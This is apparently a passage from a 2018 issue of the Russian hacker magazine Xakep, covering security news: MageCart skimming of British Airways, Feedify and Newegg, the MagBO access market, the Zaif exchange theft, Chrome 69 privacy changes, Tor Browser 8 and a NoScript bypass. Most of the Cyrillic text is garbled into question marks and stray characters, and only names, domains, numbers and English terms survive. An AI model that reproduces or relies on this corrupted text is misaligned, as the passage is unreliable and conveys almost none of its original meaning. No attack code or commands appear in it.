close

Вход

Забыли?

вход по аккаунту

?

hak2342018

код для вставкиСкачать
????????�18
?�4
CONTENTS
MEGANEWS
???�????�?�??�?????�????
???�????燗ndroid
???�??�??�?,�??�????�?��??�??�??�?�?????
???�???�???爄Phone
???�???�?�?�????�??�???�???�??�???��??�??�?????�??�爄OS
??�??�??�??��??????�?�??�????�??
???�??�??�??????,�??�????�??�???�?�???�???
??�????�????�????????�???�??
????10�??�????�??�????�??�???�??�??�??�???�??�?�??�???�??�???�????燚ASP
Private_problem
???�???�?�???�??�??????�?�?????��????�???�燙TFZone�18
???�???燦agios
???�???�?�??�??�????�?�??�????�??��??????�??�??�???�?????�??�?
???�????�??�?
???燦otPetya�???�?�??????�???�??�???�??�??�?�??????�???�??�??
????�????�??�??�??�??�??�??
???�?????�?�????燫CE????�??????�燬truts�????燞ID
??�???��???�????�???�????�???�?????�??燞ID?????
??�??�?�?????�???
???�?????�?�???�??�??�???�?燱hite燫abbit��???�?�????�????�????
???�???�?燤MS!
?????�???�??�???燗sacub,�??????�???�?�???�?��???�?????�??燗ndroid
???�?????�??!
???�???�????�??�??�??�???�???�?燙SP
????�??????
???�???�???,�??�?????�??�??�???�?�??�??��???�???�???�???�??�??
??�??�?�??�??�??�??
???�???�?�???�??????�??�??????,�??????�???�?????�?�???????�?燚NS
??�???�???燗nsible�??�??�????�????�??�???��???�???
??�??�?�???�?????�?
????�牜????�???�
???�???�??�??�???�??�????�??�????��????,�??????�???�????��???
???�???�??燣inux
???�???燦ixOS,�??�???�??,�????�??��????�???�??�??�??�????
WWW
??�????�??�??????�???
???�??�??�??�?
??�?????�???�???�??�??�?�?燩ython��??????燱TForms
Pixel�????�?????
??�??�?�??�?�??�???
???�?
???�???�?�???�??�??
?????牜Mifrill粻????????
nefedova@glc.ru
�
MAGECART�??????
?� ???�????� 2018� ????� ???�?� ?????�??� ?� ?????� ???�???�??� ????� ??� ?????
???�??�???�???�??��??�????�?�??�?�???.�?�??�?�??�?�???�??�???
???�?�????�???�???�?燤ageCart.
??�??�??�?????�?????�??,�???�???�??�??�????�??�??�????燤age?
Cart�?�????�??�??????��15�???,���?�??�??�??�???�?�?�???�?????�
????�???�?,��??�?�??�???�?�????,�??�???�???�???�????�?�??�???�??
???�???.� ????� ??� ???� ???�?????�?� RiskIQ� ?????�???�?� ???� ???� ??� ???�??,
MageCart.� ????�?� ???� ????�????�?,� ??� ???�??� ???�?????�??,� ????� ???????�
????�?�?�??�??�????�???,��??????�??�?�????�??��???�?????.
�?????粻 MageCart� ???�?� ????�?� ????�???:� ???�???�????�?� ????�???�?
?????�????� ??????�?� ?� ???�?� ???�????� ?� ????�???� ???� JavaScript� ??� ?????�
????� ????�?,� ???????� ?????� ????�??� ???�????� ????�?????�???� ??????�
?????� ???�??� (??????� ???�??�???� ????,� ???�?,� ????�?� ?� ???� ?????).� ?� ????�
????,� ??�??�?� ????� ????�???� ?????� ???�??�???�??� ???�???�??� ?????
???????????????�??�?�???�????燤agento.
British燗irways
???�??� ????�??� ???�???� ????�????�??� ???�?� ????�?????�?� ???�?� (ba.com)
?� ??????�???� ???�???�??� ???�???�????� British� Airways.� ???� ????�??� ????�
??????� ???� ????�?????�?,� ???�???�??�??� ??????� ?????� ???�????�??� ????
???� ???�???�??� ???�????� ?� 25� ???????� ??� 5� ???�????� 2018� ????.� ???�????
?�???�???�????�??�?????�??�??��????�????�??�??�0�????�??????.
??�???�?燫isqIQ�??�??�???�?,�??�???�???�?�???�???�??�????燤age?
Cart.�??�???�????�???�??�?�???�?????�??�??�??�??,�??????�???�???�
???�?�???�???�?�??�??�?????�??�??,�????�???�???�??�?燡avaScript,�???�
?????�??� ??� ????� British� Airways.� ????,� ???????� ??� ????�???� ?� 2012� ????,
?????� ???� ??????�???�??� 21� ???????� 2018???� (?� 20:49� GMT),� ???�??�?
??� ???� ????� ??� ???�????�???� ??????� ???�?,� ???�??�???� ?� ????????????� ????�
????�????.
??�???�?燤ageCart�???�???�??�????�??�??��????牜???�???粻??�???�
??� ?????�?� ???�?� modernizr?2.6.2.js.� ???�???� ???�???� ??� ????�????�???
???�???�??�???��?????�??��????�?????�?�??�??,�??�??�??��??�?
??�???�???�???�?.�????�??�??????�??�?????�?????�?�??�??�??�???�
???� baways.com� (89.47.162.248),� ???????� ???�??????� ?� ???????,� ?� ???�???�
?????�????�??�?燰PS????�??�???.
???�??� ???�??� ??????�????� ???�??????� Comodo,� ???????�??�????�??
??�??�???�?�???�?�??�?.�?�??�??�????�???�????,�??�??�???�?�?�?,
???� ?� ???�?????� ????� ???�?� ???� ???�????�?� ???�????,� ?� ???�??,� ??� ???
??????� ???� ???� ???�?� ???�??� ?� ???�?� British� Airways.� ???�??� ???�??????
???燽aways.com�??�???�??.
???�?� ????,� ???�???�??� RisqIQ� ???�???� ??????,� ??????� ???�??�???�??
???�?????�?�???�?�??�????�??�???,�?��?????�??�??�???�??�??�???�
?????�???.�???��??,�??�??�????�???燘ritish燗irways�?????�?�?????�??
???�???�??�????�???�??,�??�???�?�???�??�??�??�?�??�?�????�???�
???�??� ?????????� ?� ???�????�???� ???�?.� ?� ???�?� ??????� ????�???� ??� ???
????�???�??�???,�??�?�??�?????��???�?????�??�??�???�??.
Feedify
????�?� ???�?� ?????�?� ?� ???�??�???�??� ????�?????�??� British� Airways� ???�?
?????�??�??�?�????�??�??�??�??�??�????.�??�???�????�?� ????�???
???�??� Feedify,� ???�???�???� ????�??�??�????� ???�??� ?????�????� ?� ????
?????�?� push????�??�????,� ???????�??� ?� ???� ???�??� JavaScript????�????�?
Feedify.
???�??� ???�??�???�??� ???????� ??????�??????,� ?????�???� ?� Twitter
???�???�??????燩lacebo.�?�???�??,�??�???�?燡avaScript????�??�???�
?????� (feedbackembad?min?1.0.js)� ?????�??� ???�????�??� ???,� ??????�???
???�??�??�??�??�???�?????�??.
????�?�????�?燩lacebo�??�???�???�??�?????�?�??�????燫isqIQ,��???�
??�????�???�??????�????�?????�(Kevin燘eaumont).�???�?�??�????�??
???�?� ???�????� ???�???,� ???� ???�??�??� Feedify� ????�???�?� ?????� 4000� ????�
?????,�????�????燩ublicWWW�??�???�?�???�?????�???�?�0?300�??�??
?� ???????�??� ???�????�??.� ?????�???�???� RisqIQ� ??????� ????�?????,� ???
???�??�???�??� ???�???� ???�???�?� ???� 17� ???????� 2018� ????,� ?� 16:51:01
GMT.
Placebo� ???�????� ???�????�????� Feedify� ?� ????�???� 11� ????�
?????�18�???,��??�????�??�??�???�????�?�??�?�??�??�??�?�??�?.
????�?� ???�?????� ??� ???�???.� ????�?� ???� ?????� ???�?� ????� ???�??�?
???????� MageCart� ???�?,� ?� ???�?� ????�??�???�?� Feedify� ???�????� ???�???
???�???,�???�????�?�??�????�???�?????�??��??�??�??.�??�???�????�
???�???�?� ???�????� ??� ???� ???� ???�??� ???�????� ?� ??� ????�???� ??� ???�???
??????�??��??.
Newegg
?????�?�??�???燤ageCart��??�????�???�???�??�????�??� Newegg.�???�
???�???�??� ????�???�?� ??????�?� ???�????� RiskIQ� ?� Volexity.� ??� ???�??
?????�???�????,�??�?�???????�??��??????�18�???,�??�?�???�????�?
???????�??�???�?� ?????� neweggstats.com,� ???�?????�?� ????�??� ?� ????�
?????�?� ????�?� newegg.com.� ???�?� ??????� ???�?� ???�??�????� SSL?????�
???????,�??????�??燙omodo.
???� ??� ???�?????� ????� ???�???�????�?,� ???� ????�?,� ?????�??� ??� ?????�
????�???�?�??�????�?燦ewegg�??�???,�?????�???�??�??�???�??????�
???.�??�?�?�???�?????�??�???�??�????��?�???????�????�????,�??
???????�??�?????�?????爊eweggstats.com�(217.23.4.11).�??�?�????�?,�???�
????�???�????�??�??�???�?,�??�??�???�??�???�???�?�???�????�????�
??,��??�????�18�???.
??�??�??�???�??�??,�????�?�???�?????�??�???�?�??�??�???�?�???
???�?,� ??,� ??� ???�??� SimilarWeb,� ??????�?????� Newegg� ???�????�?� ??????�
??��??�?????�??????��????.
????�??�???�?�??�????�??�?????�??�??�???�??�??�??�??��??�???�
?????.��??�????�?????�??�?????�???�?????�??,�????�?????�????�?
?????燦ewegg��??�??�??�???�?,�??�???�?�??�??�??�??�??�?�???�????�
??��???�???��????�????�?????�??�???????�?.
???�?????�????�燤agBO
???�?� ?� ????� ??????� ???�?????�?� ???�????� Flashpoint� ???�??�???� ??� ?????�
????�??�??�??�???�??�??�????�??�??�?燤agBO,�?�??????�??�???�???�
?????��??????�???�??�??�??�??.
??� ???�??� ?????�???�????,� MagBO� ??????�?� ????�?????�?� ?????�?� (?
???�??�?????�?�18�???)��??�??�??�?????�??�????�??�????�??�???�
???,�??燞ackForum,燛xploit.in,爔Dedic,燦ulled�燤al4All.�???�?�?�??�????�??
MagBO� ????�???� ????� ??????�??�??� ?????� ?� ??� ?????� ??????� ???�???
web� shell??� ???� ???� ????�??�???�????�??� ???�??.� ??� ????� ??� ???�???� ????�
??????�??�??��????�??,�?�??????�??�??�?????�???????�??�???,�???�
????�???�?????�????�??�??�?�??�??�???��??�???.
?� ???�?????� ???�?� ??� ???�???� ???�????�?� ?????�?� 3000� ????�??�????�
?????�??�????�??,�??�?????�??�???�???�??�???�?�5�?�00�??�????
???.� ???�??� ????� ????�??�???�???� ??????�??�?� ?� ???????� ??� ?????� ????�
?????,� ???� ??????�?????� ???� ???????�?� ???�????.� ???� ????�?� ???????�
??????�???�??�???�????�?��??�???�?�??�??��??�??�???????????????�
????,�??�???�????�???.
??�?� ????� ?????�???�????� Flashpoint� ??� ???�???� ???�?� ????�????�????
??????�???�??,�??�???�???�??�?�???�?燤ageCart�燤agBO,�??�?�?????�
????�????�??�?????�?.�??�??�??�??????�?????�??�?�???牜???�??�???�
????�,� ??� ???�??� ???�???�??,� ????�???�??� ???�??�???�???� ???�??�??�??
???�??� ???�?� ????????�?� ???�??� ???�??� ???�???�????�?,� ?� ???????� ????�
????�?燤ageCart�????�?????�?�??�??.�?????�?�?�????�???,�??�???�?
???�?�????�???�?�??�????�????燤agBO.
60�0�0�??�????�?????�?��??�?燴AIF
????�???� ????�??????�??� ???�?� Zaif� ???�??�?� ??� ???????�??.� ?� ??????�???� ????�??�?� ????�
?????��?�???�?????�?�???????��??�?????�??�????.
?????�??�???�????��??�????�18�???.��????�???�????�????�?�??�????�??�????�
?????�??�??�????� 6,7�??�???�?�??�(???�??�?� 59,67�??�????�??�????).�??�?????�???�
????�??????�966燘TC��???�???�??�???�??????�??�????燘itcoin燙ash�燤onaCoin.
??�??� ???�?� ???� ????� ???�??�?????� ????� 32%� ???????� (2,2� ???�???�?� ???),� ???�?
???� ??????�??� 4,5� ???�???�?� ???�??�?????� ????�?????�??� ?????�?.� ????�??�???�?� Zaif
??????�?�???????�???��??�???�??�???�??�??��??�???�????�???�??�??�??�??.
???????
????????????
CHROME�
?� ??????� ???�????� 2018� ????� ?� ????� ?????� Chrome� 69� ?� ????????�??
????????�??� ?� ?????� ?????� ???�???.� ??� ???�??� ??????,� ??????�????�??
??????� ????�??,� ????????� ????�?,� ????�????� ????�???� ?� ???�??� ???�??�??
???�??�?� ???�????� ???�???,� ????�?� �??� ???????粻 ?????� ???�??� ????�????�
????� ???�??�??� ?????�??????,� ?????� ???????� ??????�?� ???????�??�??
????�?????��??�???�??�????�?�??�????�????燙hrome.
WWW��??�?????
?�????�??????�??�????�???燙hrome��??�??�??�??�?????�??�???�??
?????????� ???�?� ?� ????�??,� ????�??�???� ??� �???�??� ?� ?????�??粻 ???�??
URL,� ???????,� ??� ??� ???�??,� ????� ??????�???� ????�?????�??.� ?� ???�???,
???�?????,� ???� ???�??� URL?????�??� ???????�?� ????�???�?????� ?� ????�?
????�?�?????�??�??�?????,燱WW��??�??�??�??�?.�??�?�????�????�
??� ??????,� ?????� ????�?� ???�?� ????�?� ???�?� ????????� ?� ???�???� ???�????,
???,��??�???�?,�???�???�?�?????��??�??�???�????�?.
?�??�?�??�????�???�?�????�??�???�???.�??,�???�???�???????�????
????????� www.xakep.ru,� ??� ?� ????????� ????�?� ????�???????� ????�?� xakep.ru.
??� ??� ?????� ???�???�???� ?� m.facebook.com,� ???????� ????�????�?� ????�?
?爁acebook.com.
??�??�??� �???�????粻 ??� ???�???????� ???�??� ????� ??� ????,� ??� ????�
??????�?� ???�?� ????�???�?� ???�??�??� ?????,� ???�??�??� ?� ?????�???�?
?????� ???�??�????�??�?.� ???�????,� ????�???�??� subdomain.www.domain.?
com� ??� ???�??� ????�?????�?� ?� subdomain.domain.com,� ?� http://www.exam?
ple.www.example.com� ??� ???�??� ????�???�???� example.example.com,� ????�?
???�???�???�???�?�??.
??�??�???�???� ???�????� ???�??�??� ???�????� ?????�??� ???�??.� ???,
http://www.pool.ntp.org� ?� http://pool.ntp.org� ?� ???� ???� ???�??� ????�?,� ????
??�??????�??�??�??�?�?�???�???�??�???,�??�?�??�??�??�???�?�???�
??????�????燦TP????�???.
?�??�?�??�????�???燝oogle� ??�???�?,�??�?????�???�?????�?��???�
???� ????�??�??� ?� ???�??� ????�??????� ??????�??� ???�??????� ?� WWW
?�???�?�???�?.
??�???� ???� ????� ???�??�??� ????.� ????�?� ????�???� Google� ??????�???
??????�???�???�???,�???�???�?�?�????,���??????燙hrome�牜??????�
???粻???�??�?�??�?�???????�?�???????�???�?.�??,�??�????�?�??�???,
?????�?� ???�????�?� ???�??�???� ???�??????� ??� ?????�????� WWW� ??� ????�?
????�?.�?????�??�??�?????爉�???�?????�???�???��????,�??�??�???�
??????,� ???� ?????� user?controlled� ???�?????� ???�???�??�?� ??� ????�??
???????�??�??�??.
???�?� ????,� ???�????�???� ?????�?,� ???� ???�???�?� ???�????�???� ????�
??????�??�?????�???�????�????��?????�?�??�??????爓ww�爉��??�??
???�????�???�??�??.
???�??� ???�?????�?� ????�???,� ???� Google,� ???� ???�????,� ??????�???
????????�???�??�?,�??�??�???�??�????�???�??�?????�???�????,�???�
????�?� ??????� ???�?????� ?� ????�????�????� (?� ???�?� ??� ??????�????)� ?� ????
???�?� ???�?????� ?????� ????�????� ???????.� ???�??� ???�????� ??????� ????�
??????�??�?????�???�?????�??�??�???��??�??�??�??��??�???�??�??
URL,� ?� ??????� Google� ??????�???� ???�????� ???????�????� ???� ??????� ?� ????
????�?�???�?????�??��??�?.
???�???�???�??�???�???�??
??�???� ???�???� WWW� ??� ????�?� ????�?� ???�?????� ????� ??� ??� ????�??
??�???�???�??.�??,�???�???,�??�??�?�?????燙hrome��???�?????�??
???�???�???�?�???�???�?��??�??�?,�???�??�??�?��???�???�??燝oogle
???�????�??�??�??�??�??�????.�??�??�?�??�???�?????�???�???????
Sync,� ???�???�???� ??????�???�?� ?� Chrome� ?� ????�????�?� ???�?????� ?� ????�
???�???�?????�?????�??�??�??�??�??�?�(????�??,�?????,�??�????��??
?????)��??�?????燝oogle.
??�?� Sync� ?????�??�?� ???�?,� ????�?� ???� ???�??�????�????� ??� ????� ????�
????� ??� ???�??� ?� ????�??� Google.� ???� ???�?????� ??????�?????� Chrome,
??????�??�???� ?� ????�??� ??????� Google,� ??� ???????� ???�??� ???�??�?
???� ????� ??� ??????�?????� ??� ???�???� Google.� ?????�??????,� ????�????�
??????�燙hrome�,�??�???�??�???��???�??�???�?????�??��??�??????�
???,� ???� ???� ??????� ??????�???,� ???� Google� ?????� ???�???� ???�??� ??????�?
?�??�???�??�??�??�??��?????�????.
???�?????�?� Google� ???�?????� ???�?????� ?� Twitter,� ???� ?????� ???????�
???????� Sync� ???� ??� ??� ????�???� ????�????� ???�??�???�??� ??� ????�????
(???�??�???�??� ????�?????�?� ???�???�???� ????�???� ?????�??????�?),
?� ??????�?,� ???� ?????�????� ?????� ???�??�????�??�?,� ???�????,� ???�???
?�??�???�?�??�??�????.�???��??,�??,�??�?�????�????�??�??��???�
???�??� ????�???�?� ???�?� ???�???�?� ???????,� ???�??� ????�?� ????�?????�?
?????�???�??�??�?�??�???�燝oogle?????�????�??�???�?????�?.
???� ??� ?????� ???�????�????� Google� ???� ???�?� ???�??�???�???.� ??????�??,
?????� ????,� ???� ????�?????�??� ???�????� ??� ????�???� ??????:� ???� ??� ?????
??????,� ???�?� ??????�???�?� ?� ???�???,� ?� Chrome,� ?� ???�????,� ????�?� ???� ??
???.�?????�??,燝oogle�????�?�??�??�????�?�?�???�????�???????�???�
???�???�?????�?�????�???�?�?�???????�??�???��????�??�??�?,�????�
?????,�??�?????�???�???�?燬ync.
?� ???�???�?,� ?� ???�????� ?� ?????� ???�????� ???�????� ?????�???� ?????�
??????,�?????????��??�??�??�??�??�?????�??�?�??�????�????�???
(Matthew� Green).� ??� ?????,� ???� ???�????�???� Google� ?� ?????� ??????�???�?
?????????�????�???�??,�??�?�???�???????�?�??????,�?????�??�?�?,
???????� ??� ???�??�???�??� ?� ?????� ????�?� ???�?� ??????� ???� ??????� ???�???�
????�??.�??????�??�???,�??�??????�???�????�??�????��?????�??????�
??燿ark爌atterns��??�???�??�??�??�???�????????�?,��??????�??????
????�???�?� ????�?????�??� ?� ?????�???� ??� ?� �??�??粻 ???�???�?.� ???,
?�??�?????�??�?�???�???????�????�???????�??�??????�??��??�?
???�??�?� Google� ?????� ???�??,� ????�?� ??� ????�?,� ????�??� ?????�???�?
?�??�???�??.
??�??� ????,� ????� ????�??,� ???� ????� ???� ???�???� ?????�?????�??� ?� ????�
???�?� ???� ?????� ??????� Google� ???�???????� ???� ???�?� ???�??� ?� ?????� ??
???�?????�???�?????�?.
?� ?????� ??� ???�???� ???�?� ?� Google� ?????�???� ???�???� ???�??�??� ?????�
?????�????�???�????,�??�?�??�????�??�?�燩rivacy燩olicy�??�??�?.��???
???� ????�????� ?????� ????????� ???�????� ??� ???�?????� ???�????�??� ?????�
???,��?????�??,�??�????�?�???�??�??�??�??�?�??�?�?????燙hrome
69� ????�???,� ?� ??????�??� ???�??�?� ????� ??� ???�??� ?????�??� ???� ??????�?
????�?????�?.
�????�?????粻????
?� ???�?� ??????� ???�?????�?� ????�???� ???�????� ??� ???� ????� ???�???�??
???�??�????� Chrome� 69.� ???� ???�?????,� ???�?� ?????�?� ??� ???�????� ????
???�??燾ookie��??�??�?�???�??�??�????燝oogle�?�??�???�?,�???�????�
????????�?�??�??????�?.�??�??�??�????��???�???牜?????�?????粻????
????�??燙TO燙ontentpass�???�????�????�(Christoph燭avan).
??�???�??,�??�???�???�???????�????�??�???�燙hrome��(?????�?,�??
???� ??????� ???�???�??� ????�???�??�?,� ???�?� ????�?� ???�?� ?� ?????� ???�??
Google),� ?� ?????� ???� ???�??�?� ?????�?� ???�???� ???� ???�?� cookie� (??????
chrome://settings/siteData?search=cookies� ?� ?????� �??�???� ???�),� ??� ????
???�??�????燝oogle�??�???�?�????.�??�??,�??�???�??�??�?,�?�??�?
???�??????�??�?�??�??�????�??�???�???�??.
??�?????�?�?�???�??�??�????�?????�??燙hrome�???�????�?�??�??
??� ???� ????�?????�?,� ????,� ???� ???�?� ?� ????�????� ??????,� ???�???� ???�???�
?????�?,�??�??�?�???�??�???牜?????�?�???�??�?????燝oogle�??�???�??
??�????�.�??�????�?�??�?????�???�???�??�???�?�??�??�??�?,�???�?
???�?????�??�??????�???��??�????�??�????�??�????.
???�?� ?????�???�???� ????�??,� ???� ????�??� ???�??� ?� ???�??�?� (Clear
browsing� data� ?� Cookies� and� other� site� data)� ??� ???�?????�?� ??????�??� ????�
????�?,�??�??�??�燗PI爈ocalStorage.��?????�??,�???�?�??�??�??�????�
??????�???�??�?????�???��??�??�??�???,牜???�??�??粻??�???�??????�
????.
???�???�??�??�???
?�??�?�???�???燝oogle�??�?�?�???�???�???�??�????�?�???????�???
????�??�?,� ???�?� ????� ???� ??� ???�????� ????�?????� ???�??�??� ??????�??,
???� ?� ???????� ????�?????�??.� ?� ???�?� Google� ?????�???� ????�????,
???????�??� ???�?????????�????� Chrome� ?????� ?????� (Zach� Koch).� ????�
???????� ???�??�???�?,� ???� ?� ???????� Chrome� 70,� ???�?????�??�??
??�?????�?�??????�18�???,�??�????�???�????�?????�?????�??�????�
?????,�??�??�??��??�???.
???� ?????,� ???� ???� ???�??�???�??�??� ???�??�??� ????� ?????�???
?燙hrome��??�???�?????�????,�?,�??????�??�??,�??�????�???�?????
????�???� ????�????� ?� ????� ????�?????�??� ????�?� ???�??�?.� ?� ???�???�?,
?� ?????� ???�??� ???�??�?� ??????�?� ?????� Allow� Chrome� sign?in� (�??�?????
????� ?� Chrome�),� ?� ???????� ???????� ???�?� ?????� ??????�?????� ????�????�
???�??� ????� ?� ???�???� ?� ???� ??????�????� ??� ????�???�??� ?� ???�??� ???�????
Google.
???�?� ?????� ??????�??� UI,� ??????�?� ?????� ?????�??� ????�???�?,� ???????
???????�???�?????�??�????�???�?,�??�?�???��??�???�????�??��??�?
????�???�??�????�???�??�??�???�??.
???�?� ????,� Chrome� 70� ?????� ?????� ???�???� ???� ???�?� cookie,� ??� ?????
?????�????�??�???�??�????�????燝oogle.
??�??�??�???�?�??�??�?�???�????�??�????�?
????
???�???�?� ???�???,� ???� ???�??�?� ????�????� ????????�?� ???�????�??� ?� ????�??� ??????�??
?????,� ???�?� ??????�???� ???� ????�???�??� ??????�???.� ????� ?� ???,� ???� ???�???�?� ???�??
?�?????,�??�????�??�?�?�????�???��??�???�??�????�?????��???�??�????�???�????�
??�??�?��??�???�???.
?��????�??�??�??????�?�??????,��???�?�??�??????�??�??�??�??�??�??.�?�??�?
??� ???� ????� ??????.� ???�?,� ???� ?????� ???�?� ?� ???�?????�?� ???????� ?????� ?� ??????� ????
??�???�????�???,�??�???�?�????�?��??�????�???�???��????�????�??�?��??�????
???�????�??????�???�??�???�,
?�????�??�???�?
???????????燭OR
BROWSER
????�??�??????�??��???�?????�??????�?�???�?燝oogle燙hrome,�?�
Tor� Browser,� ??????????� ???????�??� ??� ???????� ????� Firefox� Quantum
?�????燩hoton燯I.
Tor燘rowser�???�?�???�????�?�?�??????�???燜irefox,�???�?�????�??
??�??�??牜???�???�???粻??�???�??????.��???�???�???燤ozilla�???�???�
????� Firefox� 57� ??� ????� Firefox� Quantum� ???� ?� ????�?� 2017� ????,� ??� ??� Tor
???????�??� ???�?????� ????�?� ??????.� ???�?� ???� ?� Firefox,� Tor� Browser� 8
(????�??�??� ??� Firefox� ESR� 60)� ???????� ?????� ???�??� ???� ???�????�?� ?????�
???,�????燱ebExtensions燗PI,�??????�??�?????��????�???�??�??�????�
??� Chrome,� Opera,� Vivaldi,� Brave� ?� ???�??� Chromium????�??�?,� ?� ???�?
????????�??�????????燩hoton燯I.
??� ????� ??� ????????� ????�???�?,� ???�????�??� ?� ??????�??� ??� Firefox
Quantum,� ??????� ?????�??� ??� ???�???� Firefox,� ??� ?� Tor� Browser� ????� ?� ?????�
????�??� ???�???�??�??� ???�??�??.� ???,� ???�????�???� ???�?????� ???????�
????�?��??????�?�???�????�????,�??????�???�?????�?�????�??�?�???�
??� ????�??�?� ?� ?????�?� ???�??�?.� ???�?� ????,� ???� ????�???� ??????�????
????????爎equest燽ridge,�?????�?�?????�??�?�?????�???爀mail�??�??????�
????� ??� ????� ???�???,� ???�????�?� ?????� ????�?� ??????� ???�?� ?� ?????� Tor
Launcher.
??????????? ??????
?
? �?????�?????
???�?�??�?�???�???,�??�??�?�??????�??�?��??????燭or燘rowser�???�
?????�???燭or燩roject�???�??�???��?????�??�??�??�??�??�??�??�?:燭or
Browser�??燗ndroid.�??�???�??�??�??�????��?????�?� Google� Play� Store,
????��??�?????�??�?�???�???�??�?????�???.
Tor� Browser� ???� Android� ???�??� ????????� ?????� ???�?????�??�??�?
??� ?????�???� ???�???� ?????�??� Guardian� Project� ???�???� Orfox,� ???????
??????牜??????�??��?????�?�.�??�????�???�??�???�?�???�??�??�?????
?� ???�?????�??� Tor� Browser� ???� Android.� ?� ???�?????� ???�?� ????�??�?� ????�
??????�??� ???�??�?� ???�?� ???�???� ????�??�?� ??????�???� ????�?????�????�
???� Orbot,� ??� ???�????�???� ???�???,� ???� ???� ???????� ???????� ???� ???
??�?????�??�?.
???�??????燦oScript
???� ?????� ???????� ???� ??????�?� ??� ?????� ???�??� ???�??�?� ?????
?????� 0day????�??????,� ?� ???????� ?� ??????�?� ???�????� ???�??�???� ????�
??????�?� ?????�??�?� �??�???� ???�????�??�,� ???�????� Zerodium.� ???�??
?� ????� ????� ????�?????�?� ???�?� ?� ???�????�??� ????�???� ???�????,� ???�?
????� ???� ???�???� ????�??�?� ?� ???�??????� ???�?� ?????� ???�??�??� (?� ???�?
??????�?�???�??�????).
???�??????� ???�?????� ????�?� ?????� ???????�??� ?????� ??????� ??????�
?????� NoScript,� ???�?????�?????� ???�????�?� ???�?� JavaScript????�????.
???�??� ?????�????� ??� ????�????� ???�??????�???�?� ????�?� ?� Tor� Browser
?�??�???�?�???�?????�?�??�?????�??�??�?????�?????燡avaScript,燜lash,
Java,� Silverlight.� ???�????�?� ????�????�??� ???�?????�???� ???�?� ???�???�?
?????�???�燭or燘rowser�x�??�?????�??�??,�???�??燦oScript��??�????�?
?????�??.
???�??�???�?�??�????�?�??�????�????�???�???�?????�???�?�????
??????燭or燘rowser�?,�??????�???�???�??�?�??�?????.�???��??,�??
?????� ???�??� ???�??�?� ??????�?� ?� Firefox� Quantum� ?� ??????�???� ?????� API
???� ?????�????,� ?� ???�????�??� NoScript� ????�???� ?????� (Georgio� Maone)
???��??�?�???�???�???�?????�????�???�??????�??�????�??�??.
???�?� ???�??????� ???�?� Zerodium� ?� ?????� ???�?????� ????�?,� ?� ?????�
??????,� ???� ??� ????�??� ????�??� ?� 0day?????� ????�?� ??� ???�????�??.� ????�
?????�??� ?????�??� ????�?� ?????�???� ????� ?� ????�??,� ???� ???�??????� ????�
???????�???�?� ????�?� ??� NoScript� 5� Classic� (???�??????� ?????�???� ?� ???�??
NoScript� 5.0.4,� ?????�??� ?� ???� 2017� ????),� ??� ??� ???�?????�?� NoScript� 10
Quantum�??燭or燘rowser���??�?????�??�?�????�??�???�??�???�???�
?????,� ???�??????� ?� ????�??????� ????:� ???�??� NoScript� Classic
5.1.8.7�??????�?.
???�?� Zerodium� ?????� ???�??� (Chaouki� Bekrar),� ?� ????� ???�???,� ????�??
???,�??�??????�??�?�???�??�????�?��??�??�?�??�??�???�??�????�
????�??�???�?�??�?�??????�????,��??�??�?????�??�??�????�(?????�?
???�??�???�??燭or燘rowser),�??�????�??�??�?????�17�???.�??�?�???�
???� ??� ????� ????�???,� ???� Zerodium� ???�?� ??????�???� ????� ???????�???
??�??�??�??�?????�????�???�????�?????.
??�??�?,� ???� ???�?????????� Zerodium� (?????� ???????� ???�????� ?????�
??????�?� ???�????�???� ???�???� ???�???)� ??????,� ???� ???�????� ???�???�?
???????�??� ?� ???�??�??� ?????�??????�?� ?� ???�?????� ?� ?????�?� ???� 0day
?�??�?,�??�???�????�??????�?�???�??�??�???�?,�??�?????�????�??
????�???�???��??????�????�????.
????�?�??????燙APTCHA
??�????� ?????�?� ???�???�?� ??� ???�?� ???�????�????� Cloud?are.� ?� ???�????
???�??�?��??�????燙loud?are燨nion燬ervice,�??????�????�???�???�????
?� ???�???�????�??� ??� ???????�???� Tor????�???.� ???�???�?,� ???� ???�???�?
??????� ???�???� ????�?????�??� Tor� Browser� ???�??�?� ???�???� ????� ?????�
??????�?�燙APTCHA�?�??????�??燙loud?are�??�??.
??�????�???�??�???�???�?????�??燭or�??�???�???�?????�??�?????�
???� Google� reCAPTCHA� ???� ???�??� ??????�??� ???�??,� ???????�??� Cloud?
?are.� ?� 2016� ????� ????�??�???�?� Tor� Project� ????� ????�???� ???�????� ?� ???,
???� ??� ??????�???� Tor????�??,� ???�?????� ????�?????�??� ??????� CAPTCHA
?????�?�??�??�??.�??�?�燙loud?are�???�???,�??�????�???�???�?�????
????,�??�??�%燭or????�???�??�????�?�???�??�??�???�????�?.
???�?�????�???�?�??�??�?�??�???�??�????�???燙loud?are�???�???�
????� Challenge� Bypass� Speci?cation� ?� ?????�????� ???� Tor� Browser,� ????????�
????�???�???�???�?????�??�?�??�????�??�??�??.�???�?�??�??�??�??
??�??�??�?,��??�?�??�?�??�?�???�???�??�??�????�????燨pportunistic
Encryption,� ????�???�?????� ??????� 2016� ????.� ?� ???�?� ????�?� Opportunistic
Encryption�?????�?????�??�??�????燙loud?are燨nion燬ervice�???�?��???�
?????�?燩roxy燩rotocol�?????�?,燞TTP/2��????�??�??�??�??�??�??.
??�???� ????�??�???�?� ???�????� ???�??�???�?,� ???� ???� ???�?� Cloud?are
Onion� Service� ?� ???�??�??�??� ??� ???�????�????� Tor� ???�?????�???� ????
????�?�?????�??�???�????��????�???燭or.�?�???�??�??�????�???????
????�?��?????燭or燘rowser�0�燭or燘rowser�??燗ndroid.�??�?�???�???�?,
???� Cloud?are� Onion� Service� ???�??�??� ???� ????� ???�????� Cloud?are� ?� ?????�
????�??�??�?,�??�?��??�???�??�????燨nion燫outing.
??�????????????�??��??�??�??�??�???�??�?
???�?????�?� Group?IB� ???�???� ?????� ???????????????�??� ?� ????�?� ?� ??????,� ???� ??????�??
???�??�???�???�???�?.
?�18�???�???�?????�??�??�????� 21%�?�???�????��???�??�????��??�??� 85� ????�
??????�??�????.
10�??�???�??�??�?�??�???�?????�?�??�?????�?��??????�??�???�????�??�????�????�
????�???�??��???�???�??�???�?.
??�?� ????�???� ??� ???�?????� ????�????� ???????�?� ????�???� ????� ??� ???�??� (???�?� 90� ????�
??????� ????�?????�??),� ??� ???�???� ????�?????�?� ?� ????�??� ???�????�?� ?????�?� 110� ?????�
??????�????�???�????�??????�??.
??�????�??�????�???�????�???�??�??�?????�1�??�??��17�???,�??�????�??��????
???�??�???�?�?????�???�????�????�(33牜???????�).
